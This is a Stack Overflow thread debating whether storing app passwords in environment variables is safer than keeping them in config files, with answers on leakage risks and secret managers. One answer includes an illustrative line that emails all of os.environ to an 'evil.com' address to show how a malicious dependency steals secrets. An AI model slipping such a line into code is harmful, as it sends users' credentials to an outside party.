192

I work on a few apps in rails, django (and a little bit of php), and one of the things that I started doing in some of them is storing database and other passwords as environment variables rather than plain text in certain config files (or in settings.py, for django apps).

In discussing this with one of my collaborators, he suggested this is a poor practice - that perhaps this isn't as perfectly secure as it might at first seem.

So, I would like to know - is this a secure practice? Is it more secure to store passwords as plain text in these files (making sure, of course, not to leave these files in public repos or anything)?

jay
  • 12,066
  • 16
  • 64
  • 103
  • Use HashiCorp Data Vault, https://www.hashicorp.com/products/vault. – Hans Ginzel May 18 '21 at 15:51
  • 1
    It is not secure, there are many exploits to steal environment variables and there is Awesome list of secrets in environment variables ️: https://github.com/Puliczek/awesome-list-of-secrets-in-environment-variables – Maciej Pulikowski Jan 04 '22 at 16:15
  • 1
    A crucial distinction here is **storing** (just having them exported in your environment all the time) vs **passing** (and then immediately deleting them from your environment once you've passed or received them). – mtraceur Jul 17 '23 at 22:38

9 Answers9

95

As mentioned before, both methods do not provide any layer of additional "security" once your system is compromised. I believe that one of the strongest reasons to favor environment variables is avoiding version control: I've seen way too many database configurations etc. being accidentially stored in the version control system like GIT for every other developer to see (and whoops! it happened to me as well ...).

Not storing your passwords in files makes it impossible for them to be stored in the version control system.

1mike12
  • 2,946
  • 3
  • 27
  • 36
emrass
  • 6,253
  • 3
  • 35
  • 57
  • 12
    A pretty reasonable alternative to *not* storing secret configuration settings in version control is storing them in a version control repository or project *separate* from the repository for the code. – Kenny Evitt Jan 28 '15 at 18:01
  • 4
    @KennyEvitt that still leaves unsecured, plaintext passwords in a shared location that anyone with access to the repository can find and no way to track who accessed it. – FistOfFury Mar 15 '17 at 13:33
  • 4
    @FistOfFury Sure, anyone with access to the repository ... can access the repository. The point of storing secrets in a *separate* repository is exactly so that one could control access to those secrets differently than the code itself. But repositories can be secured, e.g. you can store the secrets encrypted in the 'shared location'. And you could even track info about access to the repository in the shared location. But, of course, allowing anyone to access info implies that they can copy that info and thus access it anytime in the future without restriction or tracking. – Kenny Evitt Mar 15 '17 at 15:40
  • 2
    Great reason to use a config management solution that lets you store encrypted secrets, then substituting them in config templates at render time. Chef has encrypted data bags, Ansible has vaults, etc. – Brian Cline Jun 28 '17 at 16:35
  • 2
    This is called Privileged Access Management, where secrets are stored in a centralized PAM Vault with comprehensive access controls. Gartner lists [some such products](https://www.gartner.com/reviews/market/privileged-access-management). – Amit Naidu May 15 '19 at 15:10
  • You should have deployment system (Ansible for example) which creates configuration files on the server. In this case your configs can't be stored in git. – FiftiN Sep 23 '21 at 13:26
86

On a more theoretical level, I tend to think about levels for security in the following ways (in order of increasing strength) :

  • No security. Plain text. Anyone that knows where to look, can access the data.
  • Security by Obfuscation. You store the data (plaintext) someplace tricky, like an environment variable, or in a file that is meant to look like a configuration file. An attacker will eventually figure out what's going on, or stumble across it.
  • Security provided by encryption that is trivial to break, (think caesar cipher!).
  • Security provided by encryption that can be broken with some effort.
  • Security provided by encryption that is impractical to break given current hardware.
  • The most secure system is one that nobody can use! :)

Environment variables are more secure than plaintext files, because they are volatile/disposable, not saved; i.e. if you set only a local environment variable, like "set pwd=whatever," and then run the script, with something that exits your command shell at the end of the script, then the variable no longer exists. Your case falls into the first two, which I'd say is fairly insecure. If you were going to do this, I wouldn't recommend deploying outside your immediate intranet/home network, and then only for testing purposes.

BugHunterUK
  • 8,346
  • 16
  • 65
  • 121
John Carter
  • 6,752
  • 2
  • 32
  • 53
  • 4
    It depends on the operating system -- At best case, environment variables are as vulnerable as plaintext files, but likely are worse. With plaintext files you can set the read permissions on the files/directories to protect them. IIRC for environment variables, they live in the memory space for the shell process, so an enterprising cracker could scan that space looking for them. – John Carter Sep 18 '12 at 13:46
  • 24
    wait a minute: if you store the credential inside of an environment variable, they need to get there first. Either by hand, or by script. In order to automate startup of your software, I would recommend a script. But guess what, then you need to store them in a config file (for env variables) nonetheless. Unless you are not providing values for env variables by hand, I can see no security difference to config files. – math Jun 30 '20 at 06:38
  • 3
    @math it depends on the build/startup flow but there's a 3rd option - the startup script (whichever form it takes, whether a bash script or a IaC tool or whatever) fetching credentials from some kind of a (encrypted) secrets storage: Hashicorp Vault, Azure Vault, AWS Parameter Store. – Max Ivanov Sep 30 '20 at 10:47
  • 19
    @MaxIvanov : But in order to fetch (encrypted) credentials from a 3rd party provider, this startup script would need to provide credentials for authentication, right? Where would you put those, then? – TomDogg Dec 30 '21 at 19:50
  • @math Not necessarily - *something, somewhere*, had to have privileges to get the credentials. That doesn't mean that those credentials ever had to be on-device or on-the-local-file-system. When you write code that needs credentials to be in a file, you put a security ceiling on the design - it can never be more secure than your system's file system ownership/permission/ACLs/etc granularity. (In practice, both are going to be used insecurely by anyone who doesn't have unusually high care about it, but it's usually easier+simpler to implement (and verify) more secure use of envars than files.) – mtraceur Jul 17 '23 at 22:49
  • 1
    The key thing with files vs environment variables is that environment variables leak by default into everything you call (any libraries, any child processes, any grandchild processes, and so on), but you can stop that entire category of insecurity by just grabbing and deleting the secret from the environment at program startup. At that point, it's at least as secure as a file with read permission for the user your program runs as. In order for a file to be more secure, we have to get into stuff like ACLs or SELinux labels - things which restrict read permissions more than per-user-granularity. – mtraceur Jul 17 '23 at 23:03
  • And it's possible to have sandboxing/virtualization and automation setups which never drop a file with credentials into the container/VM, it's just not typically done, because it's rarely worth the effort. For example, last I checked, Docker's built-in secret passing just writes the secret to a file in `/run/secret/` in the container, which doesn't add insecurity so long as that Docker container only runs things that would have access to that secret anyway. (But unless you went out of your way to secure it further, you get the *same* security as environment variables in that case.) – mtraceur Jul 17 '23 at 23:19
  • @TomDogg One possibility off the top of my head, if you control the virtual network around a container/VM, and your firewalling in that virtual network is good enough that address spoofing is impractical/impossible, is that we could have an https:// endpoint in the virtual network, which, when read by a container/VM for the first time and within the first couple seconds of it's life, returns that container's/VM's credential to the secret manager. I don't think off-the-shelf software for that exists, but it's practical/doable and would avoid the need for a file in the container/VM at all. – mtraceur Jul 18 '23 at 00:04
73

Anytime you have to store a password, it is insecure. Period. There's no way to store an un-encrypted password securely. Now which of environment variables vs. config files is more "secure" is perhaps debatable. IMHO, if your system is compromised, it doesn't really matter where it's stored, a diligent hacker can track it down.

Chris Pratt
  • 232,153
  • 36
  • 385
  • 444
  • 17
    For environment variables, I am expecting unix here... Environment variables are way less secure than files. Anyone can check the environment of a running process, but files can at least have ACLs. – Vatine Sep 17 '12 at 14:44
  • 19
    Given that the developer has to store these passwords this isn't a terrifically helpful answer. Where do you suggest that he does store them? – Peter Nixey Aug 19 '13 at 11:47
  • 1
    @PeterNixey: That's the point. If he *has* to store them, then he can store them wherever he darn well pleases. He might as well make it the sysmessage at login. Insecure is insecure. Once you've thrown security out the window, it's an open field. – Chris Pratt Aug 19 '13 at 15:24
  • 1
    @Vatine really Windows is more secure than *nix in this case? In Windows, User Environment Variables are only accessible to that user and to admin. – Neil McGuigan Oct 15 '13 at 21:19
  • @NeilMcGuigan There may be some differences between unix environments, but in the general case, yes, if you can see the arguments given to a binary, you can see the environment of the binary. Also, the process-listing program usually needs to have complete system privileges (although that is less true, these days). – Vatine Oct 16 '13 at 17:54
  • 1
    @ChrisPratt are you suggesting there's a better alternative? If I want to deploy a web server that needs to connect to a DB what else would I do to give the password to the web server? – Ben McCann Nov 17 '13 at 01:21
  • 1
    It depends on your environment. In an ASP.NET environment, you can private key encrypt your database credentials. Other environments may offer similar functionality. Sometimes, you may not have a choice; my only point was that the question, in general, is a useless intellectual thought exercise -- plain text passwords are insecure, period. Trying to figure out which of various insecure methods is somewhat more secure than the other insecure method is a waste of time. – Chris Pratt Nov 18 '13 at 15:19
  • 9
    @Vatine Places exposing environment variables have permissions, too. Try `cat /proc/1/environ` for example. – Chris Down Jun 02 '16 at 15:51
  • 1
    @ChrisDown Try `ps axe` to see that being bypassed. – Vatine Jun 02 '16 at 16:10
  • 11
    @Vatine Really? I don't see any environment for processes not owned by me in `ps axe`. `strace -e open ps axe` shows it's getting this info from `/proc/[pid]/environ`, which has permission enforcement (hence a bunch of `open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)`). – Chris Down Jun 02 '16 at 23:18
  • 8
    Huh. Look at that, a problem has finally been fixed (used to be that `ps` was setuid and would happily show you the environment of pretty much everything). – Vatine Jun 03 '16 at 08:09
45

Sorry I didn't have enough rep to comment, but I also wanted to add that if you're not careful, your shell might capture that password in it's command history as well. So running something like $ pwd=mypassword my_prog manually isn't as ephemeral as you might have hoped.

brianclements
  • 879
  • 2
  • 8
  • 14
  • 42
    if you prefix the whole "env var + command" with a space, then it doesn't get stored in the history – Shadi Jun 22 '17 at 08:32
  • thanks @shadi. Learn something new every day! I wonder if that's shell specific/easy to turn off or if it's something one can expect pretty consistently? – brianclements Sep 07 '17 at 21:48
  • 8
    Another way is to use `read -s MY_PASS_VAR` which will protect from both shell-history searches and shoulder surfers. – MatrixManAtYrService Jun 27 '18 at 13:52
  • 8
    @brianclements I would like to add that prefixing the command with a space only works if the current shell's `HISTCONTROL` is set to `ignorespace` or `ignoreboth` , so technically it can be turned on/off. – Mousa Halaseh Nov 21 '19 at 16:29
40

I think when possible you should store your credentials in a gitignored file and not as environment variables.

One of the things to consider when storing credentials in ENV (environment) variables vs a file is that ENV variables can very easily be inspected by any library or dependency you use.

This can be done maliciously or not. For example a library author could email stack traces plus the ENV variables to themselves for debugging (not best practice, but it's possible to do).

If your credentials are in a file, then peaking into them is much harder.

Specifically, think about an npm in node. For an npm to look at your credentials if they are in the ENV is a simple matter of process.ENV. If on the other hand they are in a file, it's a lot more work.

Whether your credentials file is version controlled or not is a separate question. Not version controlling your credentials file exposes it to fewer people. There's no need for all devs to know the production credentials. Since this lives up to the principle of least privilege, I would suggest git ignoring your credentials file.

Peter Ajtai
  • 56,972
  • 13
  • 121
  • 140
  • 29
    +1 for "a library author could email stack traces plus the ENV variables to themselves for debugging". Never thought about this scenario. – netishix Sep 24 '19 at 04:20
  • 2
    Wouldn't it be rather simple to encrypt env variables and then decrypt them when reading it out later? In that way, reading all env variables only gives you jibberish. Seems to me encrypting env variables give you the best of both words. – n3rd Aug 02 '22 at 10:57
14

It depends on your threat model.

Are you trying to prevent your users from sprinkling passwords all over their file systems where they are likely to be forgotten and mishandled? If so, then yes, because environmental variables are less persistent than files.

Are you trying to secure against something malicious that is directly targeting your program? If so, then no, because environment variables do not have the same level of access control that files do.

Personally, I think that negligent users are more common than motivated adversaries, so I'd go with the environment variable approach.

MatrixManAtYrService
  • 8,023
  • 1
  • 50
  • 61
10

Among others, an issue with using environment variables to store secrets is that they can be leaked unintentionally:

  • Messy code displaying raw error messages with context (env vars) to a user
  • Monitoring tool capturing the error and context and sending/storing it for future investigation
  • Developer logging environment variables which persists them to disk (and potentially to some log processing tool e.g. Logstash)
  • Compromised dependency sending all of the global variables it can reach, including env vars to the attacker
  • Setting the env variable leaving traces in the shell history

Potential issues with secrets stored in config files:

  • Misconfigured file permissions allowing access to a random OS user
  • Developer adding config files to version control
    • Intentionally (not knowing it's bad)
    • By accident. Even when the file is removed (during a PR review maybe), if not done properly, it may still live in the Git commit history.

Irrelevant to the way you store secrets, if your system is compromised you're screwed. Extracting those is just a matter of time and effort.

So what can we do to minimize the risks?

Don't store/pass around secrets in plain text. One way to approach the problem is to use an external (managed or self-hosted) secrets storage solution (e.g. AWS Parameter Store, Azure Vault, Hashicorp Vault) and fetch sensitive data at runtime (possibly caching in memory). This way your secrets are encrypted in transit and at rest.

Max Ivanov
  • 5,695
  • 38
  • 52
5

AFAICT, there are two reasons people recommend storing secrets in environment variables:

  1. It's too easy to inadvertently commit secret flat files to a repo. (And if it's a public repo, you're toast.)
  2. It prevents password clutter i.e., having the same key in many different project directory files is itself a security risk since developers will eventually lose track of where secrets are located.

These two issues can be solved in better ways. The former should be solved by a git commit hook that checks for things that look like passwords (e.g., gitleaks). I wish Linus built such a tool into the git library's source code but, alas, that didn't happen. (Needless to say, secret files should always be added to .gitignore, but you need a hook in case someone forgets to do so.)

The latter can be solved by having a global company secrets file, which is ideally stored on a read-only shared drive. So, in Python, you could have something like from company_secrets import *.

More importantly, as pointed out by others, it's way too easy to hack secrets stored in environment variables. For example, in Python, a library author could insert send_email(address="evil.person@evil.com", text=json.dumps(os.environ)) and then you're toast if you execute this code. Hacking is much more challenging if you have a file on your system called ~/secret_company_stuff/.my_very_secret_company_stuff.

Django users only:
Django (in DEBUG mode) shows the raw value of an environment variable in the browser if there is an exception (in DEBUG mode). This seems highly insecure if, for example, a developer accidentally sets DEBUG=True in production. In contrast, Django DOES obfuscate password settings variables by looking for the strings API, TOKEN, KEY, SECRET, PASS or SIGNATURE in the framework's settings.py file's variable names.

pandichef
  • 706
  • 9
  • 11
  • 3
    "and then you're toast if you execute this code" <- Well but you are always toast if you execute untrusted code. An attacker does not need to know the credentials if they have the means to run arbitrary code on the system in question, no? – timgeb Nov 02 '20 at 14:40
  • @timgeb Yes but the point is some untrusted code is much easier to write and much more effective than others. Therefore by using one method (env variables) over another (not obviously named files) you're increasing your attack surface from "cleverly written code which searches within your codebase for references to things which look like secrets files, then reads them" which is quite small, to "a oneliner anyone can copy and paste from stackexchange". – Gostega Nov 29 '21 at 00:40
  • AFAICT really? not everyone is good at anagrams. – Eric Apr 06 '23 at 06:20
1

All the answers so far have too many hypotheticals and not enough solutions: Store passwords in pass, unix password manager: https://www.passwordstore.org/

I recently needed a way to store log access credentials to Loki for several different deployments. they consist of three vars:

LOKI_ADDR=https://loki.<environment>.domain
LOKI_USERNAME=<username>
LOKI_PASSWORD=<password>

Normal trick I use is to shove the whole environment into a secret, and load it in with command pass show <secret_name> | source. This anoints the current session with the secret vars, which I can then use to run whatever I need, closing it after to clear them.

But to make this easier to use, I want to call logcli with different credentials based on a single command.

#!/bin/bash
# loki <environment> <rest of logcli args>
# loki prod query '{app=+".+"}' --tail --no-labels

ENVNAME=$1
shift 1
env LOKI_USERNAME=<loki_username> LOKI_PASSWORD=$(pass show work/loki/$ENVNAME) LOKI_ADDR=https://loki.$ENVNAME.domain logcli "${@}"

Result is being able to do:

loki dev query '{app=+".+"}' --tail --no-labels

And have the script read loki password from work/loki/dev secret.

Just as a passing note, I make no claims about increased security beyond what is obvious. Other answers correctly point out the non-obvious.

Yarek T
  • 9,715
  • 2
  • 28
  • 38